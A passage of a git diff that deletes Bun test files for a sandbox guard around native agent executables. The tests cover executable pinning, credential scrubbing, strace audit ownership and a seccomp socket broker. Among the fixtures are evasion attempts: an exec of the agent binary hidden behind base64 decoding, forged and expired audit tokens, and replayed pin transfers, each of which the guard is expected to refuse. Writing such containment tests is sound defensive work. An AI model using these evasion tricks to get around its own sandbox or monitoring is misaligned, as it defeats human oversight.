"+err).toBe(0);expect(out).toContain("RTK_ZOMBIE_POLICY:"+mode); - }finally{rmSync(root,{recursive:true,force:true});} -}); diff --git a/tests/native-runtime-credential-judge.test.ts b/tests/native-runtime-credential-judge.test.ts deleted file mode 100644 index 1dc044f1f4..0000000000 --- a/tests/native-runtime-credential-judge.test.ts +++ /dev/null @@ -1,16 +0,0 @@ -import {expect,test} from "bun:test"; -import {readFileSync} from "node:fs"; -import {join} from "node:path"; -import ts from "typescript"; -test("actual raw CLI credential judge requires API key when both credentials are present",()=>{ - const file=join(import.meta.dir,"../scripts/measure-claude-runtime.ts"),source=ts.createSourceFile(file,readFileSync(file,"utf8"),ts.ScriptTarget.Latest,true); - let row:ts.ArrayLiteralExpression|undefined; - function visit(node:ts.Node){if(ts.isArrayLiteralExpression(node)&&node.elements[0]&&ts.isStringLiteral(node.elements[0] as ts.Node)&&node.elements[0]!.getText(source)==='"both (raw CLI)"')row=node;ts.forEachChild(node,visit);}visit(source); - expect(row,"RAW_CLI_ROW_LABEL_RESTORED").toBeDefined(); - const js=ts.transpileModule('const judge='+row!.elements[2]!.getText(source)+';return judge;',{compilerOptions:{target:ts.ScriptTarget.ES2022}}).outputText; - const key="odysseus-synthetic-key",oauth="odysseus-synthetic-oauth",judge=new Function("API_KEY","OAUTH","sent",js)(key,oauth,(r:{auth:unknown[]})=>r.auth.length>0); - const account={apiKeySource:"ANTHROPIC_API_KEY",tokenSource:"CLAUDE_CODE_OAUTH_TOKEN",ending:"success"}; - expect(judge({...account,auth:[{xApiKey:key,authorization:null}]}),"RAW_CLI_BOTH_PRESENT_PREFERS_API_KEY").toBeNull(); - expect(judge({...account,auth:[{xApiKey:null,authorization:`Bearer ${oauth}`}]}),"RAW_CLI_MUST_NOT_ENCODE_GUARD_SOCKET_AUTH").not.toBeNull(); - expect(judge({...account,auth:[]}),"RAW_CLI_AUTH_MUST_BE_OBSERVED").not.toBeNull(); -}); diff --git a/tests/native-runtime-pin.test.ts b/tests/native-runtime-pin.test.ts deleted file mode 100644 index 1a2d56ac2c..0000000000 --- a/tests/native-runtime-pin.test.ts +++ /dev/null @@ -1,62 +0,0 @@ -import * as fs from "node:fs"; -import {expect,spyOn,test} from "bun:test"; -import {copyFileSync,fstatSync,mkdtempSync,readFileSync,renameSync,rmSync,statSync,writeFileSync} from "node:fs"; -import {join} from "node:path"; -import {pinNativeWorkerExecutable} from "../scripts/native-runtime-pin"; -import {nativeWorkerClassification} from "../scripts/test-native-guard"; -import {watchdogMs} from "../scripts/test-deadlines"; -function fixture(){ - const root=mkdtempSync("/tmp/odysseus-runtime-pin-test-"),selected=join(root,"selected"),other=join(root,"other"),stub=join(root,"stub"); - const source=`#include \n#include \n#include \n#include \n#include \nint main(int argc,char **argv){if(argc!=3)return 80;struct stat fd;DIR *dir=opendir("/proc/self/fd");if(!dir)return 80;struct dirent *entry;while((entry=readdir(dir))){int i=atoi(entry->d_name);if(i>2&&!fstat(i,&fd)&&fd.st_dev==strtoull(argv[1],0,10)&&fd.st_ino==strtoull(argv[2],0,10)){puts("PINNED_DESCRIPTOR_LEAKED");return 81;}}closedir(dir);puts("PIN_EXECUTED_WITHOUT_DESCRIPTOR");return 0;}`; - for(const [file,text] of [[selected,source],[stub,'#include \nint main(void){puts("TRIPWIRE_STUB");return 126;}']]){ - const built=Bun.spawnSync(["cc","-static","-Os","-x","c","-","-o",file!],{stdin:Buffer.from(text!),stdout:"pipe",stderr:"pipe"});expect(built.exitCode,built.stderr.toString()).toBe(0); - }copyFileSync(selected,other);return {root,selected,other,stub,close(){rmSync(root,{recursive:true,force:true});}}; -} -async function settled(child:ReturnType){return {code:await child.exited,out:await new Response(child.stdout as ReadableStream).text(),err:await new Response(child.stderr as ReadableStream).text()};} -for(const mode of ["admitted","revoked","wrong-peer","replay"] as const)test(`pinned executable transfer: ${mode}`,async()=>{ - const f=fixture(),refusals:string[]=[];let live=true,keeper:ReturnType|undefined,owned:ReturnType|undefined; - const pin=pinNativeWorkerExecutable(f.selected,()=>{if(!live)throw Error("scripted authority revoked");},reason=>refusals.push(reason)); - try{ - const ready=join(f.root,"ready"); - keeper=Bun.spawn(["bwrap","--unshare-user","--bind","/","/","--ro-bind",f.stub,f.selected,"--ro-bind",f.stub,f.other,"--","/bin/sh","-c",'printf %s "$$" > "$1.tmp" && mv "$1.tmp" "$1"; while IFS= read -r which; do if [ "$which" = selected ]; then /bin/sh -c \'exec "$1"\' unknown "$2"; else "$3"; fi; printf "STATUS:%s\\n" "$?"; done',"keeper",ready,f.selected,f.other],{stdin:"pipe",stdout:"pipe",stderr:"pipe"}); - const deadline=Date.now()+watchdogMs(5000);let pid=0;while(!pid){try{pid=Number(readFileSync(ready,"utf8"));}catch{}if(Date.now()>deadline)throw Error("REAL_MASKED_KEEPER_READY_REQUIRED");await Bun.sleep(5);} - const stamp=statSync(f.selected),check='import hashlib,os,stat,sys\npath,expected,dev,ino=sys.argv[1:]\nassert hashlib.file_digest(open(path,"rb"),"sha256").hexdigest()==expected,"PROJECTED_RUNTIME_BYTES_MUST_MATCH_PIN"\nassert stat.S_IMODE(os.stat(path).st_mode)==0o555 and os.access(path,os.X_OK)\ntry:\n fd=os.open(path,os.O_WRONLY)\n os.close(fd)\n raise AssertionError("PROJECTED_EXECUTABLE_IS_READ_ONLY")\nexcept OSError as error:\n assert error.errno in (13,30)\nos.execv(path,[path,dev,ino])'; - const inner=["bwrap","--unshare-user","--bind","/","/",...pin.mount,"--","/usr/bin/python3","-I","-S","-c",check,f.selected,pin.hash,String(stamp.dev),String(stamp.ino)]; - const command=pin.wrap(["nsenter","--user","--mount","--preserve-credentials","--target",String(pid),"--",...inner]); - pin.beforeLaunch(); - if(mode==="wrong-peer"){owned=Bun.spawn(["/bin/sleep","60"],{stdout:"pipe",stderr:"pipe"});pin.afterSpawn(owned.pid);} - if(mode==="revoked")live=false; - const child=Bun.spawn(command,{stdout:"pipe",stderr:"pipe"});if(mode!=="wrong-peer")pin.afterSpawn(child.pid); - let retained=false;try{const now=fstatSync(pin.descriptor!),selected=statSync(f.selected);retained=now.dev===selected.dev&&now.ino===selected.ino;}catch{}expect(retained,"GUARD_CLOSES_PIN_AFTER_SPAWN").toBe(false); - const result=await settled(child); - if(mode==="admitted"||mode==="replay"){ - expect(result.code,JSON.stringify({result,refusals})).toBe(0);expect(pin.transferPeer,"CARRIER_EXECS_IN_THE_CALLER_PID").toBe(child.pid);expect(result.out,"NO_PINNED_FD_REACHES_PAYLOAD").toBe("PIN_EXECUTED_WITHOUT_DESCRIPTOR\n"); - const unknownArgv=["/bin/sh","-c",'exec "$1"',"unknown",f.selected]; - expect(nativeWorkerClassification(unknownArgv),"THE_KEEPER_PEER_IS_UNKNOWN").toBe("unknown"); - // The peers execute inside the original masked keeper, rather than - // acquiring a second namespace merely to inspect the first one. - const peer=async(which:string)=>{(keeper!.stdin as Bun.FileSink).write(which+"\n");const reader=(keeper!.stdout as ReadableStream).getReader();let out="";try{while(!out.includes("STATUS:")){const next=await reader.read();if(next.done)throw Error("MASKED_KEEPER_PEER_COMPLETES");out+=new TextDecoder().decode(next.value);}return {code:Number(/STATUS:([0-9]+)/.exec(out)![1]),out:out.split("STATUS:")[0]};}finally{reader.releaseLock();}}; - const another=await peer("other");expect(another.code,"OTHER_RUNTIME_REMAINS_MASKED").toBe(126); - const unknown=await peer("selected");expect(unknown.code,"UNKNOWN_LAUNCH_RETAINS_SELECTED_MASK").toBe(126);expect(unknown.out).toBe("TRIPWIRE_STUB\n"); - if(mode==="replay"){const replay=await settled(Bun.spawn(command,{stdout:"pipe",stderr:"pipe"}));expect(replay.code,"PIN_TRANSFER_IS_SINGLE_USE").not.toBe(0);expect(replay.out).not.toContain("PIN_EXECUTED");} - }else{expect(result.code,"UNAUTHORIZED_PEER_NEVER_GETS_PIN").not.toBe(0);expect(result.out).not.toContain("PIN_EXECUTED");expect(refusals.join(" ")).toContain(mode==="revoked"?"authority revoked":"peer mismatch");} - }finally{owned?.kill("SIGKILL");keeper?.kill("SIGKILL");pin.dispose();f.close();} -},watchdogMs(30000)); -test("pinned executable transfer refuses a replaced inode before launch",()=>{ - const f=fixture(),pin=pinNativeWorkerExecutable(f.selected,()=>{},()=>{}); - try{renameSync(f.selected,f.selected+"-old");copyFileSync(f.selected+"-old",f.selected);expect(()=>pin.beforeLaunch(),"SAME_BYTES_DIFFERENT_INODE_REFUSES").toThrow("pin changed");}finally{pin.dispose();f.close();} -}); -test("pinned executable transfer refuses changed bytes with the same inode and size",()=>{ - const f=fixture(),pin=pinNativeWorkerExecutable(f.selected,()=>{},()=>{}); - try{const bytes=readFileSync(f.selected);bytes[bytes.length-1]^=1;writeFileSync(f.selected,bytes);expect(()=>pin.beforeLaunch(),"CHANGED_BYTES_REFUSE").toThrow("pin changed");}finally{pin.dispose();f.close();} -}); - -test("an admitted executable is hashed once while launch checks retain its full metadata stamp",()=>{ - const f=fixture(),expected=statSync(f.selected),read=fs.readSync;let bytes=0; - const observed=spyOn(fs,"readSync").mockImplementation(((fd:number,...args:unknown[])=>{ - const count=Reflect.apply(read,fs,[fd,...args]);const now=fstatSync(fd);if(now.dev===expected.dev&&now.ino===expected.ino)bytes+=count;return count; - }) as typeof fs.readSync); - let pin:ReturnType|undefined; - try{pin=pinNativeWorkerExecutable(f.selected,()=>{},()=>{});pin.beforeLaunch();pin.beforeLaunch();expect(bytes,"HASH_SELECTED_EXECUTABLE_BYTES_ONCE").toBe(expected.size);} - finally{observed.mockRestore();pin?.dispose();f.close();} -}); diff --git a/tests/native-sdk-stderr-capture.test.ts b/tests/native-sdk-stderr-capture.test.ts deleted file mode 100644 index 9fd116ab0b..0000000000 --- a/tests/native-sdk-stderr-capture.test.ts +++ /dev/null @@ -1,96 +0,0 @@ -import { expect, test } from "bun:test"; -import { readFileSync } from "node:fs"; -import { join } from "node:path"; -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; -import { redactNativeDiagnosticAssignments } from "../scripts/test-native-guard"; -import { SDK_STDERR_WINDOW_BYTES } from "../packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture"; - -const helper = join(import.meta.dir, "../packages/ui-sdk/tests/fixtures/native-sdk-stderr-capture.ts"); -test("SDK stderr failure capture keeps bounded scrubbed first and tail windows on nonzero exit", async () => { - const child = spawnGuardFixture([process.execPath, "-e", ` - import {captureNativeSdkStderr,SDK_STDERR_WINDOW_BYTES} from ${JSON.stringify(helper)}; - const secret="odysseus-generated-secret",token="sk-ant-"+"k".repeat(48); - const capture=captureNativeSdkStderr([secret]); - try { - capture.stderr("FIRST_FAILURE\\nArgs: SIRENS_PRIVATE_ARGUMENT\\nEnvironment: SIRENS_PRIVATE_ENVIRONMENT\\napi_key="+secret.slice(0,8)); - capture.stderr(secret.slice(8)+"\\nAuthorization: Bearer "+token+"\\n/home/odysseus/private.json\\nhttps://provider.invalid/v1/messages\\n"); - capture.stderr("x".repeat(SDK_STDERR_WINDOW_BYTES*4)+"\\n"); - capture.stderr("TAIL_FAILURE\\npassword=voyage-password\\n/home/odysseus/settings.json\\nhttps://endpoint.invalid/api\\n"); - throw Error("synthetic SDK nonzero exit"); - } catch { process.exitCode=1; } - finally { capture.flush();capture.flush(); } - `], { env: { PATH: "/usr/bin:/bin" } }); - const [code, output] = await Promise.all([child.exited, child.guardOutput()]); - expect(code).toBe(1); - const records = output.split("\n").filter(line => line.startsWith('{"kind":"native-fixture-sdk-stderr"')).map(line => JSON.parse(line)); - expect(records, "SDK_FAILURE_FLUSHED_ONCE").toHaveLength(1); - const record = records[0]; - expect(record.first, "FIRST_WINDOW_RETAINED").toContain("FIRST_FAILURE"); - expect(record.tail, "TAIL_WINDOW_RETAINED").toContain("TAIL_FAILURE"); - expect(record.retainedBytes).toBeLessThanOrEqual(SDK_STDERR_WINDOW_BYTES*2); - expect(record.observedBytes).toBeGreaterThan(SDK_STDERR_WINDOW_BYTES*4); - expect(record.first.length+record.tail.length, "DIAGNOSTIC_OUTPUT_IS_BOUNDED").toBeLessThanOrEqual(SDK_STDERR_WINDOW_BYTES*2); - expect(record.truncated).toBe(true); - for (const value of ["odysseus-generated-secret", "sk-ant-"+"k".repeat(48), "voyage-password", "/home/odysseus", "provider.invalid", "endpoint.invalid", "SIRENS_PRIVATE_ARGUMENT", "SIRENS_PRIVATE_ENVIRONMENT"]) - expect(output, "SDK_STDERR_IS_SCRUBBED").not.toContain(value); -}); - -test("hosted file-tool fixture installs SDK capture before query and flushes in finally", () => { - const source = readFileSync(join(import.meta.dir, "../packages/ui-backend-claude/tests/native-hosted-runtime.test.ts"), "utf8"); - expect(source.indexOf("const sdkStderr = captureNativeSdkStderr")).toBeLessThan(source.indexOf("for await (const message of query(")); - expect(source).toContain("stderr: sdkStderr.stderr"); - expect(source).toContain("} finally {\n sdkStderr.flush();"); -}); - - -test("SDK stderr scrubs short named credentials in environment and quoted JSON forms", async () => { - const values=["short-secret", "plain-secret", "short-password", "json-secret", "tiny-token", "camel-secret", "short-bearer", "short-basic"]; - const text='ANTHROPIC_AUTH_TOKEN=short-secret\nANTHROPIC_API_KEY=plain-secret\nMY_PASSWORD=short-password\nAuthorization: Bearer short-bearer\nAUTH=Basic short-basic\n{"apiKey":"json-secret","token": "tiny-token","authToken":"camel-secret"}\n'; - const child=spawnGuardFixture([process.execPath,"-e",`import {captureNativeSdkStderr} from ${JSON.stringify(helper)};const c=captureNativeSdkStderr([]);c.stderr(${JSON.stringify(text)});c.flush();`],{env:{PATH:"/usr/bin:/bin"}}); - const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); - for(const value of values)expect(output,"SHORT_NAMED_CREDENTIAL_REDACTED").not.toContain(value); -}); - -for(const edge of ["first","tail"] as const)test(`SDK stderr drops a token split across the ${edge} byte boundary`,async()=>{ - const token="SIRENS_BOUNDARY_ITHACA_TAIL_SECRET",marker=edge==="first"?"SIRENS_BOUNDARY":"SECRET"; - const window=SDK_STDERR_WINDOW_BYTES; - const text=edge==="first"?"a".repeat(window-16)+"\n"+token+"\n"+"b".repeat(window*3)+"\nend\n": - "start\n"+"a".repeat(window*3)+token+"\n"+"b".repeat(window-16)+"\nend\n"; - const child=spawnGuardFixture([process.execPath,"-e",`import {captureNativeSdkStderr} from ${JSON.stringify(helper)};const c=captureNativeSdkStderr([]);c.stderr(${JSON.stringify(text)});c.flush();`],{env:{PATH:"/usr/bin:/bin"}}); - const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); - expect(output,"CUT_TOKEN_LINE_OMITTED").not.toContain(marker); -}); - - -for(const [label,text,secret] of [ - ["digit-leading-token","2FA_TOKEN=digit-token-value","digit-token-value"], - ["digit-leading-secret","1PASSWORD_SECRET=digit-secret-value","digit-secret-value"], - ["digit-token","9token=digit-short-value","digit-short-value"], - ["digit-dotted-key","3rd.api.key: digit-dotted-value","digit-dotted-value"], - ["error-prefix","Error: ANTHROPIC_AUTH_TOKEN=error-auth-value","error-auth-value"], - ["failure-prefix","failed: MY_PASSWORD=failure-password-value","failure-password-value"], - ["nested-env",'{"env":{"apiKey":"nested-api-value"}}',"nested-api-value"], - ["nested-header",'headers: {"x-api-key":"nested-header-value"}',"nested-header-value"], - ["nested-config",'config={"token":"nested-config-value"}',"nested-config-value"], -] as const)test(`SDK credential matching ignores non-credential wrappers: ${label}`,async()=>{ - expect(redactNativeDiagnosticAssignments(text),"NAMED_CREDENTIAL_MATCHER_REDACTED").not.toContain(secret); - const child=spawnGuardFixture([process.execPath,"-e",`import {captureNativeSdkStderr} from ${JSON.stringify(helper)};const capture=captureNativeSdkStderr([]);capture.stderr(${JSON.stringify(text+"\n")});capture.flush();`],{env:{PATH:"/usr/bin:/bin"}}); - const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); - expect(output,"NESTED_NAMED_CREDENTIAL_REDACTED").not.toContain(secret); -}); - -test("native diagnostic source context preserves JS members and basenames while hiding network addresses",async()=>{ - const child=spawnGuardFixture([process.execPath,"-e",` - import {captureNativeSdkStderr} from ${JSON.stringify(helper)}; - import {recordNativeGuardChild} from ${JSON.stringify(join(import.meta.dir,"../scripts/test-native-guard.ts"))}; - const source='const upstream={pipe(){throw Error("egress-worker-entry.ts egress-worker-entry.test.ts api.ithaca.test 127.0.0.1 localhost:8123 [::1]")}}; const peer={}; const server={on(){upstream.pipe(peer)}}; server.on("error");'; - const failed=Bun.spawn([process.execPath,"-e",source],{env:{PATH:"/usr/bin:/bin"},stdout:"ignore",stderr:"pipe"}); - const text=await new Response(failed.stderr).text();await failed.exited; - const capture=captureNativeSdkStderr([]);capture.stderr(text);capture.flush(); - await recordNativeGuardChild(failed,true,{drained:Promise.resolve(),snapshot:()=>text}); - `],{env:{PATH:"/usr/bin:/bin"}}); - const [code,output]=await Promise.all([child.exited,child.guardOutput()]);expect(code,output).toBe(0); - const records=output.split("\n").filter(line=>line.startsWith('{"kind":"native-fixture-sdk-stderr"')||line.startsWith('{"kind":"native-offline-bootstrap-failure"')).map(line=>JSON.parse(line)); - expect(records).toHaveLength(2); - for(const record of records){const text=record.reason??record.first;for(const member of ["server.on","upstream.pipe","egress-worker-entry.ts","egress-worker-entry.test.ts"])expect(text,"SOURCE_CONTEXT_REMAINS_READABLE").toContain(member);for(const address of ["api.ithaca.test","127.0.0.1","localhost","[::1]"])expect(text,"DIAGNOSTIC_HOST_REDACTED").not.toContain(address);} -}); diff --git a/tests/native-shared-audit.test.ts b/tests/native-shared-audit.test.ts deleted file mode 100644 index 335f89650a..0000000000 --- a/tests/native-shared-audit.test.ts +++ /dev/null @@ -1,70 +0,0 @@ -/** A nested launch uses only its owned part of a live guard trace. */ -import {expect,test} from "bun:test"; -import {mkdtempSync,rmSync} from "node:fs"; -import {join} from "node:path"; -import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; -import {bundledClaudeBinary} from "../packages/core/src/providers/agents/claude-binary"; -import {nativeTraceSubtree} from "../scripts/native-shared-audit"; -import {watchdogMs} from "../scripts/test-deadlines"; -const root=join(import.meta.dir,".."); -test("shared exec evidence excludes concurrent sibling launches",()=>{ - const trace='10 clone(child_stack=NULL, flags=SIGCHLD) = 11\n20 clone(child_stack=NULL, flags=SIGCHLD) = 21\n11 execve("/owned", [], 0x1) = 0\n21 execve("/sibling-native", [], 0x1) = 0'; - expect(nativeTraceSubtree(trace,10)).toContain('/owned');expect(nativeTraceSubtree(trace,10),"SIBLING_NATIVE_EXEC_IS_NOT_INNER_EVIDENCE").not.toContain('/sibling-native'); -}); -test("shared evidence does not inherit a reused PID's later exec",()=>{ - const trace='10 clone(child_stack=NULL, flags=SIGCHLD) = 11\n11 execve("/owned", [], 0x1) = 0\n11 exit_group(0) = ?\n20 clone(child_stack=NULL, flags=SIGCHLD) = 11\n11 execve("/other-native", [], 0x1) = 0'; - expect(nativeTraceSubtree(trace,10),"REUSED_PID_IS_NOT_OWNED_NATIVE_EVIDENCE").not.toContain('/other-native'); -}); -for(const mode of ["harmless","native-stub","forged","expired"] as const)test(`nested shared audit: ${mode}`,async()=>{ - const scratch=mkdtempSync("/tmp/odysseus-nested-audit-"),module=join(root,"scripts/native-shared-audit.ts"),guard=join(root,"scripts/test-native-guard.ts"),preload=join(root,"scripts/test-network-child-preload.ts"); - const nested=`import {borrowNativeAudit} from ${JSON.stringify(module)};import {nativeUnknownBoundary} from ${JSON.stringify(guard)}; - const audit=borrowNativeAudit(reason=>{throw Error(reason)});if(!audit)throw Error("OWNED_OUTER_AUDIT_REQUIRED"); - const mode=${JSON.stringify(mode)}; - if(mode==="forged"||mode==="expired"){ - const env={...process.env,...audit.env},token=JSON.parse(env.BRAIN_NATIVE_EXEC_AUDIT);if(mode==="forged")token.socketIno="0";else token.serverStart="0";env.BRAIN_NATIVE_EXEC_AUDIT=JSON.stringify(token); - const child=Bun.spawn([process.execPath,"--preload",${JSON.stringify(preload)},"-e",${JSON.stringify(`import {borrowNativeAudit} from ${JSON.stringify(module)};borrowNativeAudit(()=>{});console.log("UNSAFE_UNPROVEN_TRACE_ACCEPTED");`)}],{env,stdout:"pipe",stderr:"pipe"});const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);if(code===0||out.includes("UNSAFE_UNPROVEN_TRACE_ACCEPTED")||!err.includes("native outer audit ownership unavailable"))throw Error("UNPROVEN_AUDIT_MUST_REFUSE: "+err);console.log("UNPROVEN_AUDIT_REFUSED"); - }else{ - const argv=mode==="harmless"?["/bin/sh","-c",'for n in 1 2; do :; done; exec "$1"',"fixture","/usr/bin/true"]:["/bin/sh","-c",'target=$(printf "%s" "$1" | base64 -d); exec "$target"',"fixture",${JSON.stringify(Buffer.from(bundledClaudeBinary()!).toString("base64"))}]; - const plan=nativeUnknownBoundary(argv),child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"});const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);if(mode==="harmless"&&code!==0)throw Error("NESTED_HARMLESS_MUST_RUN: "+err);if(mode!=="harmless"&&code===0)throw Error("NESTED_NATIVE_MUST_HIT_STUB");console.log(mode==="harmless"?"NESTED_HARMLESS_RAN":"NESTED_NATIVE_STUB_REFUSED"); - }`; - const driver=`import {nativeUnknownBoundary} from ${JSON.stringify(guard)}; - const plan=nativeUnknownBoundary([process.execPath,"--preload",${JSON.stringify(preload)},"-e",${JSON.stringify(nested)}]);const child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"});const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);process.stdout.write(out);process.stderr.write(err);process.exitCode=code;`; - try{const child=spawnGuardFixture([process.execPath,"-e",driver],{env:{...process.env,TMPDIR:scratch}});const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(out,err).toContain(mode==="harmless"?"NESTED_HARMLESS_RAN":mode==="native-stub"?"NESTED_NATIVE_STUB_REFUSED":"UNPROVEN_AUDIT_REFUSED");if(mode==="harmless"||mode==="forged"||mode==="expired")expect(code,err).toBe(0);else{expect(code).not.toBe(0);expect(err).toContain("tripwire");}}finally{rmSync(scratch,{recursive:true,force:true});} -},watchdogMs(30000)); - -test("outer tracer death kills the nested launch and closes stdout",async()=>{ - const guard=join(root,"scripts/test-native-guard.ts"),preload=join(root,"scripts/test-network-child-preload.ts"); - const nested=`import {readFileSync} from "node:fs";import {nativeUnknownBoundary} from ${JSON.stringify(guard)}; - const plan=nativeUnknownBoundary(["/bin/sh","-c",'echo INNER_READY $$; IFS= read -r held']),child=Bun.spawn(plan.argv,{env:plan.env,stdin:"pipe",stdout:"pipe",stderr:"pipe"}); - const reader=child.stdout.getReader();let text="";while(!text.includes("\\n")){const part=await reader.read();if(part.done)throw Error("INNER_NOT_READY");text+=new TextDecoder().decode(part.value);}reader.releaseLock(); - const payload=Number(/INNER_READY ([0-9]+)/.exec(text)[1]),identity=pid=>readFileSync("/proc/"+pid+"/stat","utf8").split(") ")[1].split(" "); - const tracer=Number(/^TracerPid:[^0-9]*([0-9]+)/m.exec(readFileSync("/proc/self/status","utf8"))[1]); - console.log("TRACER_READY "+tracer+" "+identity(tracer)[19]+" "+payload+" "+identity(payload)[19]);await child.exited;throw Error("INNER_SURVIVED_TRACER");`; - // The attested strace owns --kill-on-exit: the kernel kills its tracees at - // tracer death. RPC polling is not that termination control. Startup and - // reporting have a scaled hang watchdog; kill + EOF has a fixed 2 s bound. - const driver=`import {readFileSync} from "node:fs";import {nativeUnknownBoundary} from ${JSON.stringify(guard)}; - const identity=pid=>readFileSync("/proc/"+pid+"/stat","utf8").split(") ")[1].split(" "); - const plan=nativeUnknownBoundary([process.execPath,"--preload",${JSON.stringify(preload)},"-e",${JSON.stringify(nested)}]),child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"}); - let output="",killed=false,expired=false,boundExpired=false,killAt=0,eofMs=null,payload=0,payloadStart="",boundTimer,observer,observerErrors,stopped,stoppedMs=null; - const killBoundMs=2000; - const timer=setTimeout(()=>{expired=true;console.error(JSON.stringify({traceDeathStage:killed?"reporting":"setup",killed,eofMs}));child.kill("SIGKILL");},${watchdogMs(20000)}); - try{ - const drained=(async()=>{for await(const chunk of child.stdout){output+=new TextDecoder().decode(chunk);const match=/TRACER_READY ([0-9]+) ([0-9]+) ([0-9]+) ([0-9]+)/.exec(output);if(match&&!killed){ - const pid=Number(match[1]);payload=Number(match[3]);payloadStart=match[4];if(identity(pid)[19]!==match[2]||identity(payload)[19]!==payloadStart)throw Error("TRACER_OR_PAYLOAD_IDENTITY_CHANGED"); - const program='import os,select,sys\\nfd=os.pidfd_open(int(sys.argv[1]))\\nassert open("/proc/"+sys.argv[1]+"/stat").read().rsplit(") ",1)[1].split()[19]==sys.argv[2]\\nprint("PIDFD_READY",flush=True)\\nassert os.read(0,1)==b"G"\\np=select.poll();p.register(fd,select.POLLIN)\\nassert p.poll(2000),"PIDFD_STOP_BOUND"\\nprint("PIDFD_STOPPED",flush=True)'; - observer=Bun.spawn(["/usr/bin/python3","-I","-S","-c",program,String(payload),payloadStart],{stdin:"pipe",stdout:"pipe",stderr:"pipe"});observerErrors=new Response(observer.stderr).text(); - const observed=observer.stdout.getReader();let observedText="";while(!observedText.includes("PIDFD_READY")){const part=await observed.read();if(part.done)throw Error("PIDFD_OBSERVER_NOT_READY");observedText+=new TextDecoder().decode(part.value);} - stopped=(async()=>{try{while(!observedText.includes("PIDFD_STOPPED")){const part=await observed.read();if(part.done)throw Error("PIDFD_DID_NOT_OBSERVE_DEATH");observedText+=new TextDecoder().decode(part.value);}stoppedMs=performance.now()-killAt;}finally{observed.releaseLock();}})(); - killed=true;killAt=performance.now();process.kill(pid,"SIGKILL");observer.stdin.write("G");observer.stdin.end(); - boundTimer=setTimeout(()=>{boundExpired=true;console.error(JSON.stringify({traceDeathStage:"kill-eof",killed,eofMs}));child.kill("SIGKILL");},/* native-product-timing: Kernel tracer death must close owned stdout within two seconds. */killBoundMs); - }} - if(killed){eofMs=performance.now()-killAt;await stopped;clearTimeout(boundTimer);if(boundExpired||Math.max(eofMs,stoppedMs)>killBoundMs)throw Error("TRACER_DEATH_EXCEEDS_FIXED_KILL_EOF_BOUND");}})(); - const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text(),drained]);if(observer&&await observer.exited!==0)throw Error("PIDFD_OBSERVER_FAILED: "+await observerErrors); - if(expired||boundExpired||!killed||code===0||output.includes("INNER_SURVIVED_TRACER")||err.includes("INNER_SURVIVED_TRACER"))throw Error("OUTER_TRACER_DEATH_MUST_CLOSE_OWNED_LAUNCH "+JSON.stringify({phase:killed?"reporting":"setup",killed,eofMs})+": "+err); - console.log(JSON.stringify({traceDeath:{eofMs,stoppedMs,killBoundMs,payloadStopped:true}}));console.log("TRACE_DEATH_KILLED_OWNED_LAUNCH_WITH_EOF"); - }finally{clearTimeout(timer);clearTimeout(boundTimer);if(observer?.exitCode===null)observer.kill("SIGKILL");}`; - const child=spawnGuardFixture([process.execPath,"-e",driver]);const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); - expect(code,err).not.toBe(0);expect(err,"OWNED_PARENT_CANNOT_RUN_AFTER_TRACER_DIES").not.toContain("INNER_SURVIVED_TRACER");expect(out,err).toContain("TRACE_DEATH_KILLED_OWNED_LAUNCH_WITH_EOF");expect(err).toContain("restriction cannot be enforced"); - console.log(out.split("\n").find(line=>line.startsWith('{"traceDeath":'))); -},watchdogMs(60000)); diff --git a/tests/native-socket-broker-exit.test.ts b/tests/native-socket-broker-exit.test.ts deleted file mode 100644 index 0a991738f1..0000000000 --- a/tests/native-socket-broker-exit.test.ts +++ /dev/null @@ -1,18 +0,0 @@ -/** Real seccomp notifications and child exit; no installed runtime executes. */ -import {expect,test} from "bun:test"; -import {mkdtempSync,readFileSync,readdirSync,rmSync} from "node:fs"; -import {join} from "node:path"; -import {watchdogMs} from "../scripts/test-deadlines"; -test("socket broker finishes forty fast child exits without waiting forever in RECV",async()=>{ - const root=mkdtempSync("/tmp/odysseus-broker-exit-"),binary=join(root,"broker"),before=new Set(readdirSync("/tmp").filter(name=>name.startsWith("odysseus-connect-policy-"))); - try{ - const built=Bun.spawnSync(["cc","-static","-Os","-std=c11","-Wall","-Wextra","-Werror","-D_FORTIFY_SOURCE=2","-x","c","-","-o",binary],{stdin:readFileSync(join(import.meta.dir,"../scripts/native-proof/native-connect.c")),stdout:"pipe",stderr:"pipe"});expect(built.exitCode,built.stderr.toString()).toBe(0); - for(let run=0;run<40;run++){ - const child=Bun.spawn([binary,"--probe","a".repeat(40)],{stdin:"ignore",stdout:"pipe",stderr:"pipe"});let expired=false; - const timer=setTimeout(()=>{expired=true;child.kill("SIGKILL");},watchdogMs(5000)); - try{const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]);expect(expired,"BROKER_REAPS_EXITED_CHILD_INSTEAD_OF_BLOCKING_RECV").toBe(false);expect(code,err).toBe(0);expect(out).toBe("NATIVE_SOCKET_POLICY_HELD\n");} - finally{clearTimeout(timer);if(child.exitCode===null)child.kill("SIGKILL");} - } - expect(readdirSync("/tmp").filter(name=>name.startsWith("odysseus-connect-policy-")&&!before.has(name)),"PROBE_EXIT_RELEASES_ITS_SOCKET_DIRECTORY").toEqual([]); - }finally{rmSync(root,{recursive:true,force:true});} -},watchdogMs(60000)); diff --git a/tests/native-stage-links.test.ts b/tests/native-stage-links.test.ts deleted file mode 100644 index 0fe5eda6b5..0000000000 --- a/tests/native-stage-links.test.ts +++ /dev/null @@ 